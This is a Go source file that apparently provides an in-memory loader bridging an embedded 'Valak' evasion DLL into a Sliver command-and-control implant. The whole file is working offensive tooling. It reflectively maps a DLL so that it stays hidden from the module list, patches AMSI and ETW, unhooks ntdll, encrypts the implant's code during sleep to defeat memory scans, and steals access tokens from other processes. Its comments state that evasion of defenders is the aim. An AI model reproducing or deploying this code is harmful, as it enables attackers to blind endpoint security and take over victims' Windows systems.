Files

473 lines
13 KiB
Go

//go:build evasion && windows
// Go bridge for Valak evasion DLL. Reflectively loads the embedded DLL,
// resolves exports, provides Go API for Sliver implant integration.
package valak
import (
"encoding/binary"
"fmt"
"syscall"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
var (
dllBase uintptr
dllLoaded bool
procInit uintptr
procSleep uintptr
procPatchETW uintptr
procPatchAMSI uintptr
procUnhookNtdll uintptr
procStomp uintptr
procIsRelocated uintptr
procInitText uintptr
procUnpatchAMSI uintptr
procUnpatchETW uintptr
procWipeMemory uintptr
procStealToken uintptr
procRev2self uintptr
valakSize uintptr
)
const (
memCommit = 0x00001000
memReserve = 0x00002000
pageReadwrite = 0x04
pageExecuteRead = 0x20
pageExecReadwrite = 0x40
dllProcessAttach = 1
imageDosSignature = 0x5A4D
imageNTSignature = 0x00004550
)
type imageDOSHeader struct {
E_magic uint16
_ [58]byte
E_lfanew uint32
}
type imageFileHeader struct {
_ [2]byte
NumberOfSections uint16
_ [12]byte
SizeOfOptionalHeader uint16
_ [2]byte
}
type imageDataDirectory struct {
VirtualAddress uint32
Size uint32
}
type imageOptionalHeader64 struct {
_ [16]byte
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
_ [16]byte
SizeOfImage uint32
SizeOfHeaders uint32
_ [48]byte
DataDirectory [16]imageDataDirectory
}
type imageNTHeaders64 struct {
Signature uint32
FileHeader imageFileHeader
OptionalHeader imageOptionalHeader64
}
type imageSectionHeader struct {
Name [8]byte
VirtualSize uint32
VirtualAddress uint32
SizeOfRawData uint32
PointerToRawData uint32
PointerToRelocations uint32
PointerToLinenumbers uint32
NumberOfRelocations uint16
NumberOfLinenumbers uint16
Characteristics uint32
}
type imageExportDirectory struct {
_ [12]byte
_ [4]byte
_ [4]byte
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
// loadDLL reflectively loads the embedded valak.dll. No file on disk, no
// LoadLibrary callback, no PEB module list entry.
func loadDLL() error {
data := embeddedDLL
if len(data) == 0 {
return fmt.Errorf("no embedded DLL")
}
dosHeader := (*imageDOSHeader)(unsafe.Pointer(&data[0]))
if dosHeader.E_magic != imageDosSignature {
return fmt.Errorf("invalid DOS header")
}
ntOffset := dosHeader.E_lfanew
ntHeader := (*imageNTHeaders64)(unsafe.Pointer(&data[ntOffset]))
if ntHeader.Signature != imageNTSignature {
return fmt.Errorf("invalid NT header")
}
imageBase := ntHeader.OptionalHeader.ImageBase
sizeOfImage := uintptr(ntHeader.OptionalHeader.SizeOfImage)
sizeOfHeaders := uintptr(ntHeader.OptionalHeader.SizeOfHeaders)
base, err := windows.VirtualAlloc(0, sizeOfImage, memReserve|memCommit, pageReadwrite)
if err != nil {
return fmt.Errorf("VirtualAlloc: %w", err)
}
dllBase = base
valakSize = sizeOfImage
copy(unsafe.Slice((*byte)(unsafe.Pointer(base)), sizeOfHeaders), data[:sizeOfHeaders])
sectionOffset := ntOffset + 4 + 20 + uint32(ntHeader.FileHeader.SizeOfOptionalHeader)
sections := unsafe.Slice((*imageSectionHeader)(unsafe.Pointer(&data[sectionOffset])), ntHeader.FileHeader.NumberOfSections)
for i := range sections {
sec := &sections[i]
if sec.SizeOfRawData == 0 {
continue
}
dst := base + uintptr(sec.VirtualAddress)
if dst < base || dst+uintptr(sec.SizeOfRawData) > base+sizeOfImage {
continue
}
srcOff := uintptr(sec.PointerToRawData)
if srcOff+uintptr(sec.SizeOfRawData) > uintptr(len(data)) {
continue
}
copy(
unsafe.Slice((*byte)(unsafe.Pointer(dst)), sec.SizeOfRawData),
unsafe.Slice((*byte)(unsafe.Pointer(&data[sec.PointerToRawData])), sec.SizeOfRawData),
)
}
delta := int64(base) - int64(imageBase)
if delta != 0 {
applyRelocations(data, base, delta, ntHeader)
}
resolveImports(data, base, ntHeader)
for i := range sections {
sec := &sections[i]
if sec.VirtualAddress == 0 {
continue
}
addr := base + uintptr(sec.VirtualAddress)
prot := sectionProtect(sec.Characteristics)
var old uint32
windows.VirtualProtect(addr, uintptr(sec.VirtualSize), prot, &old)
}
resolveExports(data, base, ntHeader)
entry := base + uintptr(ntHeader.OptionalHeader.AddressOfEntryPoint)
if entry != base {
syscall.SyscallN(uintptr(entry), base, uintptr(dllProcessAttach), 0)
}
if procInit != 0 {
syscall.SyscallN(procInit)
}
dllLoaded = true
return nil
}
func sectionProtect(chars uint32) uint32 {
switch {
case chars&0x20000000 != 0 && chars&0x80000000 != 0:
return pageExecReadwrite
case chars&0x20000000 != 0:
return pageExecuteRead
default:
return pageReadwrite
}
}
func applyRelocations(_ []byte, base uintptr, delta int64, ntHeader *imageNTHeaders64) {
relocDir := ntHeader.OptionalHeader.DataDirectory[5]
if relocDir.VirtualAddress == 0 || relocDir.Size == 0 {
return
}
relocData := unsafe.Slice((*byte)(unsafe.Pointer(base+uintptr(relocDir.VirtualAddress))), relocDir.Size)
off := uintptr(0)
for off < uintptr(relocDir.Size) {
blockVA := binary.LittleEndian.Uint32(relocData[off:])
blockSize := binary.LittleEndian.Uint32(relocData[off+4:])
if blockSize == 0 {
break
}
entries := (blockSize - 8) / 2
for e := uint32(0); e < entries; e++ {
entryOff := off + 8 + uintptr(e*2)
entry := binary.LittleEndian.Uint16(relocData[entryOff:])
relocType := entry >> 12
relocOff := entry & 0xFFF
if relocType == 0 {
continue
}
addr := unsafe.Pointer(base + uintptr(blockVA) + uintptr(relocOff))
if relocType == 10 {
val := (*uint64)(addr)
*val = uint64(int64(*val) + delta)
}
}
off += uintptr(blockSize)
}
}
func resolveExports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
exportDir := ntHeader.OptionalHeader.DataDirectory[0]
if exportDir.VirtualAddress == 0 || exportDir.Size == 0 {
return
}
exp := (*imageExportDirectory)(unsafe.Pointer(base + uintptr(exportDir.VirtualAddress)))
names := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfNames))), exp.NumberOfNames)
funcs := unsafe.Slice((*uint32)(unsafe.Pointer(base+uintptr(exp.AddressOfFunctions))), exp.NumberOfFunctions)
ords := unsafe.Slice((*uint16)(unsafe.Pointer(base+uintptr(exp.AddressOfNameOrdinals))), exp.NumberOfNames)
lookup := func(name string) uintptr {
for i := uint32(0); i < exp.NumberOfNames; i++ {
fnName := goString(base + uintptr(names[i]))
if fnName == name {
if uint32(ords[i]) < exp.NumberOfFunctions {
return base + uintptr(funcs[ords[i]])
}
}
}
return 0
}
procInit = lookup("init_evasion")
procSleep = lookup("evasion_sleep")
procPatchETW = lookup("patch_etw")
procPatchAMSI = lookup("patch_amsi")
procUnhookNtdll = lookup("unhook_ntdll")
procStomp = lookup("stomp_evasion")
procIsRelocated = lookup("is_relocated")
procInitText = lookup("init_text_region")
procUnpatchAMSI = lookup("unpatch_amsi")
procUnpatchETW = lookup("unpatch_etw")
procWipeMemory = lookup("wipe_memory")
procStealToken = lookup("steal_token")
procRev2self = lookup("rev2self")
}
type imageImportDescriptor struct {
OriginalFirstThunk uint32
_ uint32
_ uint32
Name uint32
FirstThunk uint32
}
func resolveImports(_ []byte, base uintptr, ntHeader *imageNTHeaders64) {
importDir := ntHeader.OptionalHeader.DataDirectory[1]
if importDir.VirtualAddress == 0 || importDir.Size == 0 {
return
}
modKernel32 := windows.NewLazySystemDLL("kernel32.dll")
procLoadLibrary := modKernel32.NewProc("LoadLibraryA")
procGetModuleHandleA := modKernel32.NewProc("GetModuleHandleA")
procGetProcAddress := modKernel32.NewProc("GetProcAddress")
desc := (*imageImportDescriptor)(unsafe.Pointer(base + uintptr(importDir.VirtualAddress)))
descSize := uintptr(unsafe.Sizeof(*desc))
for desc.Name != 0 {
dllName := goString(base + uintptr(desc.Name))
hMod, _, _ := procGetModuleHandleA.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
if hMod == 0 {
hMod, _, _ = procLoadLibrary.Call(uintptr(unsafe.Pointer(unsafe.StringData(dllName))))
}
if hMod == 0 {
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
continue
}
thunkRVA := desc.OriginalFirstThunk
if thunkRVA == 0 {
thunkRVA = desc.FirstThunk
}
thunk := (*uint64)(unsafe.Pointer(base + uintptr(thunkRVA)))
iat := (*uint64)(unsafe.Pointer(base + uintptr(desc.FirstThunk)))
step := uintptr(8)
for *thunk != 0 {
var fnAddr uintptr
if *thunk&(1<<63) != 0 {
ordinal := uintptr(*thunk & 0xFFFF)
fnAddr, _, _ = procGetProcAddress.Call(hMod, ordinal)
} else {
nameRVA := uint32(*thunk & 0x7FFFFFFF)
fnName := goString(base + uintptr(nameRVA) + 2)
fnAddr, _, _ = procGetProcAddress.Call(hMod, uintptr(unsafe.Pointer(unsafe.StringData(fnName))))
}
*iat = uint64(fnAddr)
thunk = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(thunk)) + step))
iat = (*uint64)(unsafe.Pointer(uintptr(unsafe.Pointer(iat)) + step))
}
desc = (*imageImportDescriptor)(unsafe.Pointer(uintptr(unsafe.Pointer(desc)) + descSize))
}
}
// goString reads a null-terminated ASCII string from the DLL's mapped memory.
// Reads one byte at a time to avoid page-boundary overread.
func goString(addr uintptr) string {
var b [256]byte
for i := range b {
c := *(*byte)(unsafe.Pointer(addr + uintptr(i)))
if c == 0 {
return string(b[:i])
}
b[i] = c
}
return string(b[:])
}
// ---- Public API ----
// Start loads the DLL and patches AMSI/ETW. Call once at implant init.
func Start() { go loadDLL() }
// EvasionSleep replaces time.Sleep with ChaCha20-encrypted sleep and synthetic callstack frames.
func EvasionSleep(d time.Duration) {
ms := uint32(d.Milliseconds())
if dllLoaded && procSleep != 0 {
syscall.SyscallN(procSleep, uintptr(ms))
return
}
time.Sleep(d) // fallback
}
// InitText tells the DLL where our Go implant's .text lives for encrypted sleep.
func InitText() {
if dllLoaded && procInitText != 0 {
if base, size := findOwnTextSection(); size > 0 {
syscall.SyscallN(procInitText, base, size)
}
}
}
// PatchAll runs the full evasion init: stomp, unhook, ETW, AMSI.
// Call after the DLL finishes loading.
func PatchAll() {
if !dllLoaded {
return
}
if procStomp != 0 {
syscall.SyscallN(procStomp, dllBase)
if procIsRelocated != 0 {
_, _, _ = syscall.SyscallN(procIsRelocated)
}
}
if procUnhookNtdll != 0 {
syscall.SyscallN(procUnhookNtdll)
}
if procPatchETW != 0 {
syscall.SyscallN(procPatchETW)
}
if procPatchAMSI != 0 {
syscall.SyscallN(procPatchAMSI)
}
InitText()
}
// Bootstrap loads the DLL, patches evasion, inits text encryption, and does
// an immediate encrypted sleep to clear the post-load memory scan window.
// Blocks until DLL is ready or 10s timeout. Call once at Sliver implant start.
func Bootstrap() {
go loadDLL()
for i := 0; i < 100; i++ {
if dllLoaded {
break
}
time.Sleep(100 * time.Millisecond)
}
if !dllLoaded {
return
}
PatchAll()
// encrypt .text immediately to clear post-load scan window
// Without this, the implant's .text is unencrypted for the first beacon interval.
if procSleep != 0 {
syscall.SyscallN(procSleep, uintptr(2000))
}
}
func StealToken(pid uint32) bool {
if procStealToken == 0 {
return false
}
r, _, _ := syscall.SyscallN(procStealToken, uintptr(pid))
return r != 0
}
func Rev2self() bool {
if procRev2self == 0 {
return false
}
r, _, _ := syscall.SyscallN(procRev2self)
return r != 0
}
// Cleanup undoes patches and zeros DLL memory.
func Cleanup() {
if !dllLoaded {
return
}
if procUnpatchAMSI != 0 {
syscall.SyscallN(procUnpatchAMSI)
}
if procUnpatchETW != 0 {
syscall.SyscallN(procUnpatchETW)
}
if procWipeMemory != 0 && dllBase != 0 {
syscall.SyscallN(procWipeMemory, dllBase, valakSize)
}
}
// findOwnTextSection walks the main executable's PE headers to find .text bounds.
func findOwnTextSection() (uintptr, uintptr) {
procGMH := windows.NewLazySystemDLL("kernel32.dll").NewProc("GetModuleHandleW")
base, _, _ := procGMH.Call(0)
if base == 0 {
return 0, 0
}
dos := (*imageDOSHeader)(unsafe.Pointer(base))
if dos.E_magic != imageDosSignature {
return 0, 0
}
nt := (*imageNTHeaders64)(unsafe.Pointer(base + uintptr(dos.E_lfanew)))
if nt.Signature != imageNTSignature {
return 0, 0
}
sectionOffset := dos.E_lfanew + 4 + 20 + uint32(nt.FileHeader.SizeOfOptionalHeader)
for i := uint16(0); i < nt.FileHeader.NumberOfSections; i++ {
sec := (*imageSectionHeader)(unsafe.Pointer(base + uintptr(sectionOffset) + uintptr(i)*40))
if sec.Name[0] == '.' && sec.Name[1] == 't' && sec.Name[2] == 'e' && sec.Name[3] == 'x' && sec.Name[4] == 't' && sec.Name[5] == 0 {
return base + uintptr(sec.VirtualAddress), uintptr(sec.VirtualSize)
}
}
return 0, 0
}